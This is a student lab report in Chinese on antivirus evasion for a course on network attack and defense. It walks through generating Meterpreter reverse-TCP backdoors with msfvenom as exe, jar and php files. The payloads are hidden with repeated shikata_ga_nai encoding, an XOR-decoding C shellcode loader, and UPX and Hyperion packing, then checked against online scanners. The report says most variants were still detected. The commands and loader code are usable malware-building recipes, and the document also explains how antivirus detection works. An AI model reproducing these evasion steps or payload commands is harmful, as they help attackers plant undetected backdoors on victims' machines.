20222319 2024-2025-1 《網路與系統攻防技術》實驗三實驗報告

20222319發表於2024-10-31

1.實驗內容

1.1 實驗目的

(1)正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧

正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
veil,加殼工具
使用C + shellcode程式設計
(2)透過組合應用各種技術實現惡意程式碼免殺

如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。

(3)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本

1.2 關鍵問題回答

(1)殺軟是如何檢測出惡意程式碼的?

1.檢測特徵碼:防毒軟體擁有一套特徵庫,透過檢索程式程式碼是否與庫中的特徵碼匹配來判斷某段程式碼是否屬於病毒

2.啟發式惡意軟體檢測:如果程式的特徵和行為與病毒程式類似,且匹配程度達到一定值,則認為該程式是病毒程式

3.基於行為檢測:透過監視惡意程式碼執行過程,如系統監視工具觀察惡意程式碼執行時系統環境的變化,或跟蹤惡意程式碼執行過程使用的系統函式和指令特徵來分析惡意程式碼功能,如出現惡意行為,則屬於惡意程式碼

4.基於檔案校驗和:該病毒檢測技術主要依賴於計算檔案的校驗和(如MD5、SHA-1等),並將其與已知的正常檔案的校驗和進行比較。其核心思想是,惡意軟體通常會修改檔案內容,從而改變其校驗和值。因此,透過定期或不定期地檢查檔案的校驗和是否與正常值一致,可以檢測檔案是否被篡改或感染病毒

5.雲查殺:是一種依賴於雲端病毒庫的檢測方法。與傳統的客戶端病毒庫不同,雲查殺的病毒庫儲存在伺服器端,這使得病毒庫可以實時更新,而不需要使用者手動更新本地病毒庫。

(2)免殺是做什麼?

指透過各種手段使惡意軟體規避防毒軟體和安全檢測系統的識別和攔截,從而在目標系統中成功執行。

(3)免殺的基本方法有哪些?

  1. 修改校驗和:是一種免殺技術,其核心在於改變檔案的特定區域,從而使檔案的校驗和(如MD5或SHA-1)發生變化。這種方法可以欺騙依賴於校驗和檢測的反病毒軟體,因為校驗和(即雜湊值)的變化意味著檔案內容發生了變化,即使這種變化是微小的。

  2. 修改特徵碼:指透過改變惡意程式碼中的特定序列(即特徵碼),來避免被防毒軟體檢測。這些特徵碼是防毒軟體用來判斷惡意軟體的關鍵標識,透過修改這些特定的位元組序列,可以使惡意軟體逃避檢測。

  3. 花指令免殺:指在程式的shellcode或特徵程式碼區域新增無實際意義的垃圾指令。這些指令不會改變程式的執行邏輯,但可以干擾反編譯和防毒軟體的特徵碼檢測。

  4. 加殼免殺:是透過使用加密殼來隱藏惡意程式碼的特徵碼,使得防毒軟體無法透過特徵碼匹配來識別惡意軟體。加殼技術可以掩蓋原始的特徵碼,但根據實驗結果顯示,當前的防毒軟體大多能做到較準確地識別加殼的病毒。

2.實驗過程

2.1任務一 正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧

此時
linux虛擬機器ip為————192.168.56.103
windows主機ip為———192.168.1.115

首先將實驗二中生成的後門檔案放入專門用於病毒掃描的網站進行病毒檢測評估
本實驗中我選用的是Virustatol網站,


結果顯示,該後門程式在各大病毒掃描引擎面前很容易便被識別出來,因此,對其進行相應的免殺操作顯然是本次實驗的重中之重。

2.1.1.1對於多次編碼後exe檔案的免殺效果

首先在虛擬機器命令列輸入>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f exe > 20222319encoded_1.exe

與實驗二不同的是,這行程式碼中加入瞭如下引數

-e 引數指定使用的編碼器。
x86/shikata_ga_nai 是一個逃避殺軟檢測的編碼器,它可以使payload更難被靜態分析工具檢測到。
-b 引數指定需要避免的位元組。這裡\x00代表空位元組,防止程式執行時提前結束

事實證明,本次編碼確實是有一點用,但也確實不多,免殺效果有限,
但這次編碼僅僅編碼了一次,若是編碼更多次是否可以有更好地靜態檢測免殺效果?
於是我們在命令列中輸入以下指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f exe > 20222319encoded_10.exe

其中

-i 10 表示編碼10次


可事實證明,其免殺效果甚至還提高了,一種解釋是多次編碼後程式的儲存佔用更大,其程式碼複雜性也就越高,可能引入異常或不穩定行為,易引起查毒引擎特徵庫的注意

2.1.1.2對於多次編碼後jar檔案的免殺效果

眾所周知,exe檔案在windows系統中非常常見,因此防毒引擎必然對以其為載體的病毒檔案更為關注,那麼其他格式的病毒檔案編碼後的被查殺效果會不會更低一些呢?

於是我們在虛擬機器命令列中輸入指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 x>20222319encoded_1.jar
生成一份編碼一次的jar病毒檔案

再在命令列中輸入指令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.56.103 LPORT=2319 x>20222319encoded_10.jar
生成編碼10次的jar病毒檔案

結果顯示,jar檔案的免殺率僅僅為exe檔案的一半,免殺效果更好。
因為jar屬於Java程式碼,其在執行前需要透過Java虛擬機器(JVM)進行解釋執行,這增加了分析的複雜性。但相對的,這也要求使用者也必須安裝了java環境,該jar檔案才能執行。所以有得也有失,必須結合實際情況來用。

2.1.1.3對於多次編碼後php檔案的免殺效果

在虛擬機器命令列中輸入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 x> 20222319encoded_1.php

在虛擬機器命令列中輸入msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.56.103 LPORT=2319 x> 20222319encoded_10.php

結果好的出奇!已經是能避免大部分防毒引擎的查殺了,原因可能是許多正常的網站和應用程式也會包含PHP指令碼,這可能導致防毒軟體若是嚴格檢測則會產生較多的誤報,因此防毒軟體可能對PHP檔案的檢測更為寬鬆,以減少誤報對正常業務的影響。

2.1.2利用shellcode程式設計進行免殺測試

此時
linux虛擬機器ip為————192.168.50.192
windows主機ip為———192.168.1.115

在虛擬機器命令列中輸入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 -f c
生成一個包含 Meterpreter 反向 TCP 連線 payload 的 C 語言原始碼檔案

然後用此程式碼寫一個c語言檔案如下,其中主函式僅用於實現buf陣列中以十六進位制編碼的shellcode


免殺效果一般。

2.1.3利用加殼手段進行免殺測試

2.1.3.1對於壓縮殼

在虛擬機器命令列中輸入upx 20222319.exe -o 20222319shellcode_upx.exe給上一步驟生成的Shellcode加層殼,


結果顯示不僅沒有加強免殺效果,甚至還更容易被檢測到了,也許防毒軟體的啟發式分析引擎可能會將壓縮檔案視為高風險物件,尤其是當它們包含未知或可疑的可執行內容時。這種分析可能導致壓縮的後門檔案更容易被標記為可疑。

2.1.3.2對於加密殼

在虛擬機器命令列中輸入cp 20222319.exe /usr/share/windows-resources/hyperion/
將目標檔案,也即等待加密的檔案放入加密程式所在的目錄下
再輸入cd /usr/share/windows-resources/hyperion/進入這一目錄下
最後輸入wine hyperion.exe -v 20222319.exe 20222319Shellcode_hyp.exe即可為目標後門檔案加一層加密的殼

透過nc傳輸到主機上,並交付病毒測試平臺進行測試

可見檔案更容易被查殺了。

2.2任務二:透過組合應用各種技術實現惡意程式碼免殺

在虛擬機器命令列輸入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f c

將輸出的十六進位制後門程式碼放入寫好的c檔案裡逐一異或0x01,得到異或後的程式碼


再輸入vi Shell20222319encoded_10.c開啟該c檔案

為程式新增主函式int main(){ for (i = 0; i < sizeof(buf); i++) {buf[i] ^= 0x01;} int (*func)() = (int(*)())buf; func(); }
使得程式未執行時處於偽亂碼狀態,執行時才是後門檔案

儲存退出後再於命令列輸入i686-w64-mingw32-g++ Shell20222319encoded_10.c -o Shell20222319encoded_10.exe
再加一層壓縮殼upx Shell20222319encoded_10.exe -o Shell20222319upx_encoded_10.exe

再將該檔案放入加密程式所在的目錄下並進入其中
cp Shell20222319upx_encoded_10.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
為檔案套一層加密殼
wine hyperion.exe -v Shell20222319upx_encoded_10.exe 20222319_END.exe

得到終極後門軟體20222319_END.exe

但事實證明防毒軟體不吃這一套,甚至以極高的查殺率終結了這一個終極後門軟體。透過nc傳輸到主機上時直截了當地被360查殺,實驗失敗
(ó﹏ò。)

3.問題及解決方案

  • 問題1:XXXXXX
  • 問題1解決方案:XXXXXX
  • 問題2:XXXXXX
  • 問題2解決方案:XXXXXX - ...

4.學習感悟、思考等

在本次實驗中,我不僅掌握了透過編碼器、C Shellcode、加殼等技術手段進行免殺操作,還深入理解了免殺技術的原理,認識到,靜態檢測主要依賴於特徵匹配和行為分析,而動態檢測則側重於監測程式在執行時的行為,兩者相結合可以更有效地識別惡意軟體。

本實驗對我而言存在著兩個難點,一是在安裝Veil時儘管搜尋了網路上大部分安裝bug解決方法,邀請了成功安裝的同學參與除錯安裝,但veil始終安裝不下來。

第二個難點是如何確保這一個後門軟體能夠真正逃過市面上主流防毒軟體的查殺。我透過實驗發現,即使是經過精心設計的免殺技術,也不能保證100%的成功率,就像我那一個終極後門軟體。這要求我在實際操作中不斷調整和最佳化免殺策略,以適應不斷變化的安全環境。
事實還是證明,道高一尺,魔高一丈,市面上主流防毒軟體,其功能還是相當強大的。

參考資料

  • 0x23_MAL_免殺原理與實踐.md》
  • ...

相關文章